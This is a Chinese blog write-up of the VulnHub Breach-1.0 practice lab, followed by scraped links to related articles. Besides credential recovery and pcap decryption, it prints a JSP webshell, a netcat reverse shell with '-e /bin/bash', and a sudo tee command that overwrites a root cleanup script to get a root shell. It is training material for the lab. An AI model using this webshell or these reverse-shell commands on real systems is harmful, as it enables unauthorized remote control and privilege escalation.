VulnHub 实战靶场Breach-1.0
相比于CTF题目,Vulnhub的靶场更贴近于实际一些,而且更加综合考察了知识。在这里记录以下打这个靶场的过程和心得。
测试环境
Kali linux IP:192.168.110.128
Breach 1.0 IP:192.168.110.140
均通过NAT模式连主机
信息搜集
先扫描开放端口,发现开了一大堆。
直接查看80端口Web
服务
查看页面源码有一串字符
<!------Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo ----->
得到一串意义不明的东西
pgibbons:damnitfeel$goodtobeagang$ta
点击图片有跳转,挨个点击,发现了一个impress cms
那看到cms
第一反应就是去找现成的漏洞,有跨站脚本执行和本地文件包含,但都是在admin
的情况下才可以执行, 这个时候我们不妨试试之前解出的那串字符,作为账号密码。
发现可以成功,进入之后查看发现有个收件箱,里面三封邮件得到了一个关键信息,192.168.110.140/.keystore
,是一个SSL证书,访问链接即可下载。
但是线索到这里暂时断了,但是网上找到一个漏洞信息
漏洞信息
ImpressCMS
是一款内容管理系统。
ImpressCMS
存在跨站脚本漏洞,可通过PATH_INFO
传递给otifications.php
,modules/system/admin/images/browser.php
和modules/content/admin/content.php
脚本的输入注入WEB脚本或HTML,可获得敏感信息或劫持用户会话。
虽然经一系列尝试无果,但是在访问modules/content/admin/content.php
的时候,由于没有权限跳转到了这个页面
content
下面有个链接
是一个流量包,那之前拿到的SSL证书就能用到了。
关键信息:http://192.168.110.140/impresscms/_SSL_test_phase1.pcap They told me the alias, storepassword and keypassword are all set to 'tomcat'.
查看流量包
打开流量包,直接查看没有什么有用信息
导入SSL证书,因为是tomcat
服务所以端口号选择8443,
说明我们拿到的证书格式不对,需要PKCS12格式的证书。我们使用keytool
查看信息,密码是tomcat
根据提示信息操作
keytool -importkeystore -srckeystore keystore -destkeystore keystore -deststoretype pkcs12
现在格式正确了
重新导入,多了一些http包
我们筛选一下http包
发现在请求一个网页,但是第一次没有成功,比较两个数据包,发现多了这一行请求。
我们也尝试访问这个页面
但是一直访问不成功,尝试抓包
才发现是觉得不安全被拦截了,抓包访问的时候会让你输入账号密码
tomcat:Tt\5D8F(#!*u=G)4m7zB
使用流量包中发现的账号密码登录
进入后台
我们进入了一个tomcat
的后台界面,发现一个文件上传点,需要上传war包。
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
打包成war上传之后访问,传参
成功,但是测试的时候发现隔一会上传的马会被删除,应该是后台有一个定时清除的脚本,因此我们弹一个shell
出来
GetShell以及提权
Kali
使用nc -lnvp 8888
监听
发送nc -v 192.168.110.128 8888 -e /bin/bash
, 成功之后使用python -c 'import pty;pty.spawn("/bin/sh")'
进入交互式界面
home
目录下两个用户以及/etc/passwd
发现在/var/www/5446/
目录下有两个奇怪的php
文件
发现是数据库的账号和密码,我们连接数据库看一看
找到了milton
用户的密码hash
值
破解得密码thelaststraw
。
登录milton
用户,但是发现很遗憾,这个用户没有sudo
权限
查看.bash_history
看样子我们需要得到blumbergh
用户的权限。我们再看milton
家目录下的那张图片,放到/var/www/html/images/
目录下
检查这张图片,并没有什么玄机。
再查看images
下的图片权限
发现有两张图片的权限与其他不同,查看
发现bill.png
下面有个comment
是coffeestains
,结果这个就是blumbergh
用户的密码,就挺离谱的。
登录blumbergh
用户,查看.bash_history
查看一下tidyup.sh
就是这个指令之前删除了我们的shell
但是这个脚本的权限是755
, 现有权限并不能更改
但是我们发现现在这个用户有一个权限,就是可以使用tee
指令
因此就有了修改的方式
echo nc -v 192.168.110.128 8888 -e /bin/bash | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
因为这个脚本是root
用户的权限,因此我们通过这个方式反弹出来的shell
就是root
权限。设置监听之后等待即可。
至此,成功提权到root
。
VulnHub 实战靶场Breach-1.0的更多相关文章
- Vulnhub实战靶场:ME AND MY GIRLFRIEND: 1
一.环境搭建 1.官网下载连接:https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/ 2.下载之后,使用Oracle VM Virtual ...
- Vulnhub实战-JIS-CTF_VulnUpload靶机👻
Vulnhub实战-JIS-CTF_VulnUpload靶机 下载地址:http://www.vulnhub.com/entry/jis-ctf-vulnupload,228/ 你可以从上面地址获取靶 ...
- Vulnhub实战-doubletrouble靶机👻
Vulnhub实战-doubletrouble靶机 靶机下载地址:https://www.vulnhub.com/entry/doubletrouble-1,743/ 下载页面的ova格式文件导入vm ...
- Vulnhub实战-DockHole_1靶机👻
Vulnhub实战-DockHole_1靶机 靶机地址:https://www.vulnhub.com/entry/darkhole-1,724/ 1.描述 我们下载下来这个靶机然后在vmware中打 ...
- Vulnhub实战-Dockhole_2靶机👻
Vulnhub实战-Dockhole_2靶机 靶机地址:https://www.vulnhub.com/entry/darkhole-2,740/ 1.描述 hint:让我们不要浪费时间在蛮力上面! ...
- Vulnhub实战-grotesque3靶机👻
Vulnhub实战-grotesque3靶机 靶机地址:http://www.vulnhub.com/entry/grotesque-301,723/ 1.靶机描述 2.主机探测,端口扫描 我们在vm ...
- Vulnhub实战-FALL靶机👻
Vulnhub实战-FULL靶机 下载地址:http://www.vulnhub.com/entry/digitalworldlocal-fall,726/ 1.描述 通过描述我们可以知道这个靶机枚举 ...
- Vulnhub实战-dr4g0n b4ll靶机👻
Vulnhub实战-dr4g0n b4ll靶机 地址:http://www.vulnhub.com/entry/dr4g0n-b4ll-1,646/ 描述:这篇其实没有什么新奇的技巧,用到的提权方式就 ...
- Vulnhub实战-rtemis靶机👻
Vulnhub实战-rtemis靶机 下载地址:http://www.vulnhub.com/entry/r-temis-1,649/ 描述 通过描述我们知道这个靶机有两个flag 主机发现 通过nm ...
随机推荐
- 深入Pulsar Consumer的使用方式&源码分析
原文链接 1.使用前准备 引入依赖: <dependency> <groupId>org.apache.pulsar</groupId> <artifactI ...
- Playwright-python 教程
安装 pip install playwright -i https://mirrors.aliyun.com/pypi/simple/ 使用阿里源,下载速度快一点. python -m playwr ...
- springboot静态资源路径制定
spring.resources.static-location参数指定了Spring Boot-web项目中静态文件存放地址, 该参数默认设置为: classpath:/static, classp ...
- 🏆【Alibaba工具型技术系列】「EasyExcel技术专题」摒除OOM!让你的Excel操作变得更加优雅和安全
前提概要 针对于后端开发者而言的,作为报表的导入和导出是一个很基础且有很棘手的问题!之前常用的工具和方案大概有这么几种: JXL(Java Excel API 工具服务),此种只支持xls的文件格式, ...
- MySQL——获取元数据
---------------------------------------------------------------------------------------------------- ...
- openswan中DH算法说明
Author : Email : vip_13031075266@163.com Date : 2021.01.11 Copyright : 未经同意不得 ...
- golang 判断平台是32位还是64位
在strconv包中有个常量 const intSize = 32 << ( ^uint(0) >> 63 ) const IntSize = intSize ...
- angularjs 文件上传
github连接地址:https://github.com/danialfarid/ng-file-upload 核心代码: html: <div class="form-group& ...
- 图论---DFS
图论---DFS 1. 图的遍历 在理解DFS算法之前,我们首先需要对什么是遍历进行了解,遍历的概念就是:从某一个点出发(一般是首或尾),依次将数据结构中的每一个数据访问且只访问一遍. 2. DFS简 ...
- 洛谷P1060——开心的金明
https://www.luogu.org/problem/show?pid=1060 题目描述 金明今天很开心,家里购置的新房就要领钥匙了,新房里有一间他自己专用的很宽敞的房间.更让他高兴的是,妈妈 ...